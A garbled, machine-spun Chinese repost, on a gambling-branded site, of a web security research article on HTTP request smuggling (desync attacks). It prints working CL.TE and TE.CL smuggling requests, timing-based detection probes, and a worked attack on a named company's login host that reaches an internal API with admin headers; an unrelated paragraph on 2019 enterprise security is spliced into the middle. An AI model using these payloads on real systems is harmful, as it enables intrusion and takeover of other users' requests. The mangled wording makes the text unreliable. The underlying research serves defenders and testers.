经由过程组织特别的HTTP包来夹送歹意的HTTP要求(上) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

经由过程组织特别的HTTP包来夹送歹意的HTTP要求(上)

申博_行业观察 申博 173次浏览 已收录 0个评论

经由过程组织特别的HTTP包来夹送歹意的HTTP要求(上)

媒介

传统上,HTTP请求一般被视为一个自力的主体。在本文中,我将会讨论一种已被忘记的手艺,该手艺可以让长途进击者在未经身份验证的状况下,轻松进击目标网络基础设施。

本文中,我将向你展现怎样奇妙地经由历程该手艺来修正受害者发送的HTTP请求,以此将他们垂纶到歹意网站,举行后续的进击。别的,我还将演示怎样对你自身的请求运用后端重组来运用前端的每一点信托,取得对内部API的最大权限接见,进击web缓存,并进击PayPal的登录页面。

HTTP请求私运(HTTP Request Smuggling )最早是在2005年由Watchfire发明的。

Tomcat请求破绽(Request Smuggling):CVE编码:CVE-2014-0227。 破绽形貌:经由历程在chucked请求中包括一个非一般的chunk数据有可以致使Tomcat将该请求的部份数据当做一个新请求。伤害水平:重要!不过,HTTP私运手艺请求对处置惩罚HTTP音讯的种种代办相称熟习,不然没法提议这类进击。

综上所述,由于其手艺难度和附带进击的威力太大,多年来它一向被疏忽。本文除了带你相识该进击手艺外,我还会引见它的进击变体和运用载体。末了,我还将协助你运用你经由历程自定义的开源东西和牢靠的黑盒检测,评价和运用该手艺,以及最小化附带的风险,让你轻松运用该进击手艺。

中心观点

从HTTP/1.1最先,就普遍支撑经由历程一个底层TCP或SSL/TLS套接字发送多个HTTP请求。该协定非常简朴,只需将HTTP请求背靠背安排,效劳器就会剖析标头,以肯定每一个请求的完毕位置和下一个最先的位置。不过该协定却经常与HTTP管线化(HTTP pipelining)殽杂,这是由于在默许状况下,HTTP 协定中每一个传输层衔接只能承载一个 HTTP 请乞降相应,阅读器会在收到上一个请求的相应以后,再发送下一个请求。在运用耐久衔接的状况下,某个衔接上音讯的通报类似于请求1 -> 相应1 -> 请求2 -> 相应2 -> 请求3 -> 相应3。

HTTP Pipelining(管线化)是将多个 HTTP 请求整批提交的手艺,在传送历程当中不需守候效劳端的回应。运用 HTTP Pipelining 手艺以后,某个衔接上的音讯变成了类似如许请求1 -> 请求2 -> 请求3 -> 相应1 -> 相应2 -> 相应3。

HTTP管线化是一种不太罕见的子范例,本文形貌的进击并不须要这类子范例。

就HTTP Pipelining自身而言,这是无害的。然则,当代网站是由一系列体系构成的,一切这些体系都经由历程HTTP举行通讯。这类多层架构会吸收来自多个差别用户的HTTP请求,并经由历程单个TCP / TLS衔接举行路由。

这意味着,后端与前端会在很短的时间内就每一个音讯的完毕位置杀青一致。不然,进击者可以会发送一个含糊其词的音讯,被后端解释为两个差别的HTTP请求。

经由过程组织特别的HTTP包来夹送歹意的HTTP要求(上)

这使进击者可以鄙人一个正当用户的请求最先时,预先向请求中增添恣意内容。在本文中,被私运的内容将被称为“前缀”,并以橙色凸起显现。

让我们假定前端优先斟酌第一个内容长度头部,后端优先斟酌第二个内容长度头部。从后端角度看,TCP的流程多是以下如许的。

POST / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 5
12345GPOST / HTTP/1.1
Host: example.com
…

在底层,前端将蓝色和橙色的数据转发到后端,后端仅在发出相应之前读取蓝色内容。这使得后端套接字被橙色数据进击。如许,当正当的绿色请求抵达时,歹意内容将被附加到橙色内容中,从而致使不测的相应。

在这个例子中,注入的“G”将进击绿色用户的请求,他们可以会获得类似于“Unknown method GPOST”的相应。

本文中的每次进击都邑按着这类基础花样举行,Watchfire在他的研讨文章形貌了一种称为“向后请求私运”的替换要领,但这依赖于前端和后端体系之间的管线,因而这类要领很少会被运用。

而在现实中,双内容长度手艺很少被运用,由于很多体系会明确地地谢绝具有多个内容长度头的请求。相反,我们将运用分块编码进击体系,不过条件是运用RFC 2616范例。分块编码是HTTP1.1协定中定义的Web用户向效劳器提交数据的一种要领,当效劳器收到chunked编码体式格局的数据时会分派一个缓冲区寄存之,假如提交的数据大小未知,客户端会以一个协商好的分块大小向效劳器提交数据。

分块编码是是HTTP1.1协定中定义的Web用户向效劳器提交数据的一种要领,当效劳器收到chunked编码体式格局的数据时会分派一个缓冲区寄存之,假如提交的数据大小未知,客户端会以一个协商好的分块大小向效劳器提交数据。

假如吸收到的音讯同时具有传输编码标头字段和内容长度标头字段,则必需疏忽内容长度标头字段。

由于RFC 2616范例默许可以运用Transfer-Encoding: chunked and Content-Length处置惩罚请求,因而很少有效劳器谢绝此类请求。这意味着,不管什么时候,只需我们可以找到一种要领将传输编码标头隐蔽在效劳器中,它就会返回运用内容长度,如许我们便可以使全部体系落空同步。

你可以不太熟习分块编码,由于Burp Suite之类的东西会自动将分块请求或相应缓冲到通例音讯中,以便于编辑。在分块音讯中,主体由0个或多个块构成。每一个块由块大小构成,后跟一个换行符(\r\n),背面跟块内容。音讯以大小为0的块停止。下面是运用分块编码的简朴的去同步进击:

POST / HTTP/1.1
Host: example.com
Content-Length: 6
Transfer-Encoding: chunked
0
GPOST / HTTP/1.1
Host: example.com

此时,我们还没有在隐蔽传输编码标头,所以这个破绽运用重要适用于前端基础不支撑分块编码的体系,这也是在很多网站上看到的运用内容传输网络Akamai的行动。

假如是后端不支撑分块编码,我们须要翻转偏移量。

POST / HTTP/1.1
Host: example.com
Content-Length: 3
Transfer-Encoding: chunked
6
PREFIX
0
POST / HTTP/1.1
Host: example.com

这类手艺本来就适用于相称多的体系,但只需将传输编码标头经由简朴地处置惩罚,变得轻微难以辨认,便可以悄无声息地隐蔽在体系中。这可以运用效劳器HTTP剖析中的差别来完成。下面是一些只要一些效劳器可以辨认Transfer-Encoding: chunked。在本研讨中,每一个标头都胜利地运用了最少一个体系:

经由过程组织特别的HTTP包来夹送歹意的HTTP要求(上)

假如前端和后端效劳器都有这些特性,那末它们中的每一个都是无害的,不然就是一个重要的要挟。要相识更多手艺,请检察regilero正在举行的研讨,我们将扼要引见一下运用其他手艺的现实例子。

请求私运的要领

请求私运背地的理论很简朴,然则不受控制变量的数目以及我们对前端背地发作的事变的完整不可见性可以会致使更庞杂的进击。

如今我已开发了应对这些应战的手艺和东西,并将它们组合成以下简朴的要领,我们可以运用这些要领查找请求私运破绽并证实其影响:

经由过程组织特别的HTTP包来夹送歹意的HTTP要求(上)

检测请求私运破绽的要领

2019上半年企业平安总结

一、 前言 2019年6月,多家媒体报道,美国总统特朗普允许网络司令部对伊朗的火箭及导弹发射系统发起攻击。有报道称该攻击使伊朗这一武器系统“瘫痪”。6月24日伊朗通信和信息技术部长穆罕默德·贾哈米发推特称:“美方尽全力对伊朗发动网络攻击,但是失败了。2018年伊朗的网络防火墙阻止了3300万次网络攻击。” 在网络安全风险高发的大背景下,我国于2016年出台了《网络安全法》,并在 2019年5月发布了安全等

检测请求私运破绽的最直接的要领就是发出一个隐约的请求,然后发出一个一般的“受害者”请求,其目标就是视察后者是不是获得不测相应。然则,这类要领极轻易遭到滋扰。假如另一个用户的请求在我们的受害者请求之前就碰到了感染的套接字,他们将获得被进击的相应,而我们将不会发明破绽。这意味着在具有大批流量的及时站点上,假如不运用此历程当中大批的实在用户,就很难证实存在请求私运。纵然在没有其他流量的站点上,你也有可以由于运用顺序级的非常停止衔接而致使毛病的谢绝。

为相识决这个题目,我开发了一种检测战略,该战略运用一系列音讯,这些音讯使易受进击的后端体系挂起并使衔接超时。这类手艺几乎没有误报,可以反抗运用顺序级的非常,不然会致使漏报,最重要的是几乎没有影响其他用户的风险。

假定前端效劳器运用内容长度标头,后端运用传输编码标头。我把这个方向称为CL.TE 。我们可以经由历程发送以下请求来检测潜伏的请求私运:

POST /about HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 4
1
Z
Q

由于内容长度较短,前端将只转发蓝色文本,而后端将在守候下一个块大小时超时,这将致使可视察到的时间延迟。

假如两个效劳器同步(TE.TE或CL.CL),请求将被前端谢绝或由两个体系无害地处置惩罚。末了,假如desync以另一种体式格局发作(TE.CL),由于无效的块大小“Q”,前端将谢绝音讯,而不会将其转发到后端,这可以防备后端套接字被感染。

我们可以运用以下请求安全地检测TE.CL desync:

POST /about HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 6
0
X

由于 以“0”块完毕,前端将只转发蓝色文本,而后端将超时守候X抵达。

假如desync以另一种体式格局发作(CL.TE),那末这类要领将运用X感染后端套接字。不过这可以会损伤正当用户,荣幸的是,经由历程起首运转先前的检测要领,我们可以消除这类可以性。

这些请求可以顺应目标剖析中的恣意差别,它们用于经由历程HTTP Request Smuggler自动辨认请求私运破绽,HTTP请求私运者开发了一个开源的Burp Suite扩大来协助处置惩罚此类进击,它们如今也在Burp Suite的中心扫描器中运用。只管这是一个效劳器级别的破绽,然则单个域中的差别端点经常路由到差别的目标,因而应当将此手艺运用于每一个端点。

破绽确认

此时,我们要做的就是证实后端套接字是不是遭受了感染。为此,我们将发出一个旨在感染后端套接字的请求,然后发出一个请求,该请求有望成为感染的受害者,显著转变原有的相应。假如第一个请求致使毛病,后端效劳器可以会决议封闭衔接,摒弃受感染的缓冲区并中缀进击。要防止这类状况,可以将目标瞄准设想为接收POST请求的端点,并保存任何预期的GET/POST参数。

有些站点有多个差别的后端体系,前端经由历程检察每一个请求的要领、URL和标头来决议将其路由到哪里。假如受害者请求被路由到与进击请求差别的后端,则进击将失利。因而,可以肯定“进击”的内容和“受害者”的最初请求应当是类似的。

假如目标请求看起来像:

POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
q=smuggling

然后尝试CL.TE套接字感染,看起来以下:

POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Transfer-Encoding: zchunked
11
=x&q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: bPOST /search HTTP/1.1
Host: example.com
…

假如进击胜利,受害者请求(绿色)将获得404相应。

TE.CL进击看起来和受害者的请求很类似,然则须要一个封闭块,这意味着我们须要自身指定一切的标头,并将受害者请求放入主体中。确保前缀中的内容长度略大于正文:

POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: zchunked
96
GET /404 HTTP/1.1
X: x=1&q=smugging&x=
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
x=
0
POST /search HTTP/1.1
Host: example.com

假如该站点处于运动状况,则其他用户的请求可以会在你的请求之前碰到被感染的套接字,这将使你的进击失利。因而,这个历程一般须要频频尝试,在高流量站点上可以须要数千次尝试。

其他进击要领的引见

如今我们已可以肯定套接字感染是可以发作的,下一步是网络信息,以便我们可以提议一个明智的进击。

由于前端经常附加和重写HTTP请求头,如X-Forwarded-Host和X-Forwarded-For以及很多一般具有难以猜想的称号的自定义标头。我们私运的请求可以缺乏这些头,这可以致使不测的运用顺序行动和失利的进击。

不过经由历程简朴的要领,我们可以看到这些隐蔽的题目。这使我们可以经由历程手动增添标头来恢复功用,以至可以启用进一步的进击。

只需在目标运用顺序上找到一个反射POST参数的页面,对参数递次举行调解,使反射的参数成为末了一个即可,轻微增添内容长度后,即可私运天生的请求:

POST / HTTP/1.1
Host: login.newrelic.com
Content-Length: 142
Transfer-Encoding: chunked
Transfer-Encoding: x
0
POST /login HTTP/1.1
Host: login.newrelic.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
…
login=asdfPOST /login HTTP/1.1
Host: login.newrelic.com

绿色请求将在上岸参数之前由前端重写,因而当它被反射回来时,就会走漏一切内部标头:

Please ensure that your email and password are correct.
<input id="email" value="asdfPOST /login HTTP/1.1
Host: login.newrelic.com
X-Forwarded-For: 81.139.39.150
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external

经由历程增添内容长度标头,你可以逐渐检索更多的信息,直到尝试读取超越受害者请求末端的内容并超时为止。

有些体系完整依赖于前端体系来保证安全性,一旦你绕过它们,便可以直接进入体系内部。在login.newrelic.com上(NewRelic是一家供应Rails机能监测效劳的网站, NewRelic供应了差别级别的监测功用),“后端”体系会举行自我代办,因而变动私运的主机标头会许可我接见差别的New Relic体系。最初,我点击的每一个内部体系都以为我的请求是经由历程HTTP发送的,并经由历程重定向举行相应:

...
GET / HTTP/1.1
Host: staging-alerts.newrelic.com
HTTP/1.1 301 Moved Permanently
Location: https://staging-alerts.newrelic.com/

运用前面视察到的X-Forwarded-Proto标头很轻易处理这个题目:

...
GET / HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
HTTP/1.1 404 Not Found
Action Controller: Exception caught

依据以下内容可知,我在目标上找到了一个有效的端点:

...
GET /revision_check HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
HTTP/1.1 200 OK
Not authorized with header:

这条毛病音讯清楚地告诉我,我须要某种范例的授权标头,但令人费解的是,我却没有能给它定名。因而,我决议尝试一下前面看到的“X-nr-external-service”标头文件:

...
GET /revision_check HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
X-nr-external-service: 1
HTTP/1.1 403 Forbidden
Forbidden

不幸的是,这并没有见效,而是涌现了与我们在尝试直接接见该URL时所看到的雷同的制止相应。这表明前端运用X-nr-external-service标头来表明请求来自互联网,并经由历程私运删除标头。这反而让我们胜利地欺骗了体系,使其以为我们的请求来自内部。虽然这非常有参考意义,但没有直接的用途,我们依然须要那些被删除的授权标头的称号。

此时我可以将处置惩罚后的请求反射手艺运用于一系列端点,直到找到一个具有准确请求标头的端点。但这个历程太慢,我决议采用一些歪门大道的方法,并参考我上次感染New Relic时的履历。不出所料,我发明了两个非常有价值的标头:Server-Gateway-Account-Id和Service-Gateway-Is-Newrelic-Admin。运用这些,我可以取得对其内部API的管理员级接见权限:

POST /login HTTP/1.1
Host: login.newrelic.com
Content-Length: 564
Transfer-Encoding: chunked
Transfer-encoding: cow
0
POST /internal_api/934454/session HTTP/1.1
Host: alerts.newrelic.com
X-Forwarded-Proto: https
Service-Gateway-Account-Id: 934454
Service-Gateway-Is-Newrelic-Admin: true
Content-Length: 6
…
x=123GET...
HTTP/1.1 200 OK
{
  "user": {
     "account_id": 934454,
     "is_newrelic_admin": true
  },
  "current_account_id": 934454
  …
}

New Relic布置了一个修补顺序,特地防备F5网关的破绽。据我所知,这个修补计划并没有处理根题目,这意味着在撰写本文时这依然是一个0 day破绽。

歹意运用历程

直接进入内部API当然很好,但该要领并非我们唯一的挑选,我们还可以针对阅读目标网站的每一个人提议大批差别的进击。

为了肯定哪些进击可以运用于其他用户,我们首选须要相识哪些范例的请求可以被感染。为此,你要从“确认”阶段不停地反复套接字感染测试,不停调解“受害者”请求,直到它类似于典范的GET请求。在这一历程当中,你可以会发明,你只能运用某些特定的要领、途径或标头来感染请求。另外,尝试从差别的IP地点发出受害者请求,此时,你可以会发明你只能感染来自统一IP的请求。

末了,搜检网站是不是运用了web缓存,这些可以协助你绕过很多限定,加强感染胜利的概率,并终究增添请求私运破绽的严重性,完成进击使命。
本文翻译自:https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明经由过程组织特别的HTTP包来夹送歹意的HTTP要求(上)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址